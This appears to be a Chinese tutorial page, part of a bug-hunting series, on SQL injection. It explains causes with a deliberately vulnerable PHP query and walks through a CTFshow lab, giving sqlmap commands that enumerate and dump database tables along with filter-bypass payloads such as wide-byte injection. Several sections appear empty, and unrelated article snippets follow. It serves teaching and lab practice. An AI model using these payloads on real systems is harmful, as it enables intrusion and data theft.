news 2026/5/1 8:15:34

漏洞挖掘从入门到进阶(第 2 期):Web 实战 ——SQL 注入底层原理与全场景挖掘技巧

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
漏洞挖掘从入门到进阶(第 2 期):Web 实战 ——SQL 注入底层原理与全场景挖掘技巧

第2期:Web漏洞挖掘实战|SQL注入底层原理与全场景挖掘技巧

第一期的内容戳这里

前言

SQL注入是Web漏洞中最常见、危害最大的漏洞之一,也是新手入门Web漏洞挖掘的首选场景。无论是CTF竞赛,还是实战安全测试,SQL注入都频繁出现——其核心成因是“用户输入未被过滤,直接拼接进入SQL语句,导致SQL语句被恶意篡改”。

本文将从底层原理出发,拆解SQL注入的成因、分类、挖掘流程,结合CTFshow靶场实战,覆盖手动注入、工具自动化挖掘、过滤绕过技巧,同时补充防护方案,兼顾“挖掘能力”与“防护思维”,适合Web安全新手、CTF爱好者阅读,需具备基础的MySQL语法与HTTP协议知识。

一、SQL注入底层成因拆解

SQL注入的本质是“输入可控+代码未过滤”,底层核心是“SQL语句拼接漏洞”,我们通过一个简单的代码示例,理解其成因:

  1. 漏洞代码示例(PHP)

    <?php // 接收用户输入的ID参数 $id =$_GET['id']; // 连接数据库 $conn = mysqli_connect("localhost", "root", "123456", "test"); // 拼接SQL语句(未过滤用户输入) $sql = "SELECT * FROM user WHERE id = " . $id; // 执行SQL语句并返回结果 $result = mysqli_query($conn, $sql); // 输出结果 while ($row = mysqli_fetch_assoc($result)) { echo "用户名:" . $row['username'] . "<br/>"; } ?>
  2. 注入触发过程

当用户输入正常参数(id=1)时,拼接后的SQL语句为:

SELECT * FROM user WHERE id = 1

语句正常执行,返回id=1的用户数据;当用户输入恶意参数(id=1 OR 1=1)时,拼接后的SQL语句为:

SELECT * FROM user WHERE id = 1 OR 1=1

由于1=1恒成立,语句会返回所有用户数据,触发SQL注入漏洞。

  1. 核心成因总结

SQL注入的出现,本质是开发者忽视了“用户输入的不可信性”,未对输入进行严格过滤,导致恶意输入被当作SQL语句的一部分执行。其核心触发条件有两个:

二、SQL注入的核心分类(按触发场景)

根据触发场景与数据交互方式,SQL注入可分为4类,不同类型的挖掘思路与利用方法略有差异,新手需重点掌握前3类。

  1. 基于报错的SQL注入
  1. 基于布尔的盲注
  1. 基于时间的盲注
  1. 堆叠注入

三、SQL注入标准化挖掘流程(靶场实战同步)

本文以CTFshow Web入门第1题(SQL注入)为例,拆解“信息收集→漏洞探测→漏洞利用→漏洞验证”的完整流程,新手可跟着实操。

  1. 信息收集(前置步骤)
  1. 漏洞探测(核心步骤)

漏洞探测的核心是“确认是否存在注入点”,常用两种方式:手动探测与工具探测。

(1)手动探测

(2)工具探测(SQLmap)

对于复杂场景,可使用SQLmap自动化探测,核心命令如下(新手直接复制修改):

# 探测是否存在SQL注入 sqlmap -u "http://xxx.ctfshow.com/?id=1" # 列出所有数据库 sqlmap -u "http://xxx.ctfshow.com/?id=1" --dbs # 列出指定数据库(如ctfshow_web)的所有表 sqlmap -u "http://xxx.ctfshow.com/?id=1" -D ctfshow_web --tables # 提取指定表(如flag)的所有字段数据 sqlmap -u "http://xxx.ctfshow.com/?id=1" -D ctfshow_web -T flag -C flag --dump

说明:SQLmap会自动判断注入类型、数据库类型,新手需注意:若目标存在反爬,需添加–cookie参数(携带登录Cookie)。

  1. 漏洞利用(获取核心数据)

这里以手动联合查询为例,获取数据库名、表名、字段名与Flag:

  1. 漏洞验证与风险评估

四、常见过滤绕过技巧(实战必备)

实战中,开发者常会对用户输入进行过滤,新手需掌握以下4种常用绕过技巧,应对不同过滤场景。

  1. 注释符绕过

若开发者过滤了–+注释符,可使用其他注释符替代:

# 常用注释符 --+ # 标准注释符(MySQL) /* */ # 多行注释符,如 ' /* and 1=1 */ # # 井号注释符(需URL编码为%23),如 ' and 1=1 #
  1. 关键字绕过

若开发者过滤了OR、AND、SELECT、UNION等关键字,可使用以下方法绕过:

  1. 特殊字符绕过

若开发者过滤了单引号、双引号,可根据注入类型选择绕过方法:

  1. 宽字节注入绕过

若开发者使用addslashes函数对单引号进行转义(将’转义为’),可使用宽字节注入绕过(适用于MySQL数据库,编码为GBK):

http://xxx.ctfshow.com/?id=1%df' union select 1,2,3--+

原理:%df与转义符\(ASCII码为0x5C)拼接为%df5C,GBK编码中%df5C是一个合法汉字,从而绕过转义,使单引号生效。

五、SQL注入防护方案(实战延伸)

挖掘漏洞的同时,需掌握防护思路,形成“攻防兼备”的能力,SQL注入的核心防护方案有3种:

六、新手避坑指南(核心4点)

七、总结与下期预告

本文拆解了SQL注入的底层成因、核心分类、标准化挖掘流程与过滤绕过技巧,结合CTFshow靶场完成了实战实操,核心要点是“理解SQL语句拼接漏洞,掌握手动注入与工具注入的结合方法”。SQL注入的挖掘核心不是背诵payload,而是理解底层逻辑,才能应对不同场景的过滤与防护。

下期预告:将聚焦Web漏洞挖掘的另一大高频场景——XSS跨站脚本漏洞,拆解其底层渲染原理、分类、挖掘流程与绕过技巧,结合OWASP WebGoat靶场实战,帮大家掌握XSS漏洞的挖掘与防护能力,敬请关注!

网安学习资源

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 4:53:57

Labview 与汇川AM400 AM600 AM800 AC800 PLC 通讯 官方协议...

Labview 与汇川AM400 AM600 AM800 AC800 PLC 通讯 官方协议&#xff0c;报文读取&#xff0c;安全稳定。 通讯配置&#xff0c;辅助测试。 无程序网络通讯实现。 常用功能一网打尽。 1.命令帧读写。 2.支持 I16 I32 Float 批量读写。 3.支持字符串读写。 4.支持Bool批量读写。 …

作者头像 李华
网站建设 2026/5/1 4:53:39

AI写论文不用愁!这4款AI论文生成神器,让论文写作不再难!

四款实测AI论文写作工具推介 还在为撰写期刊论文感到沮丧吗&#xff1f;面对浩如烟海的文献、繁琐的格式要求以及不断的修改&#xff0c;许多学术研究者都感到效率低下的问题。别急&#xff0c;今天我将推介四款经过实测的AI论文写作工具。这些工具涵盖了文献检索、论文提纲生…

作者头像 李华
网站建设 2026/5/1 4:53:34

如何找到wpa_supplicant 崩溃(Crash)的具体日志和原因

# 清除旧日志并开始监听&#xff0c;过滤 wpa_supplicant 标签 adb logcat -c adb logcat -v time | grep -iE "wpa_supplicant|fatal|crash"// 1. 收到开启 WPS PBC 的命令 02-04 03:13:56.446 ... wlan0: Control interface command WPS_PBC ... 02-04 03:13:56.44…

作者头像 李华
网站建设 2026/5/1 4:54:10

炒股配资交易的数据结构分析:为什么不能只看收益结果

在炒股配资相关讨论中&#xff0c;“收益结果”往往被放在最显眼的位置&#xff1a;是否盈利、回撤大小、曲线是否平滑。然而&#xff0c;从交易系统与数据结构角度看&#xff0c;仅凭收益结果来判断一笔配资交易的真实性、风险属性或运行质量&#xff0c;本身就存在明显局限。…

作者头像 李华